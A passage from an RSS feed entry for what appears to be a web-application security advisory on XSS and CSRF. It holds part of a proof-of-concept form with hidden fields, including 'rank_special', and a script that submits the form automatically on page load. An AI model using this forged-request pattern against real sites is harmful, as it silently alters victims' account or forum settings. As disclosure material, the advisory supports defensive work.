color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;allowbbcode&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;allowsmilies&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;rank_special&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;-1&amp;quot;&lt;/font&gt; /&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Submit&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; document.f1.submit();&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; </description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23134</guid><category><![CDATA[webappsec]]></category><category><![CDATA[XSS]]></category><category><![CDATA[CSRF]]></category><pubDate>Wed, 13 Feb 2013 00:00:00 +0100</pubDate></item></channel></rss>
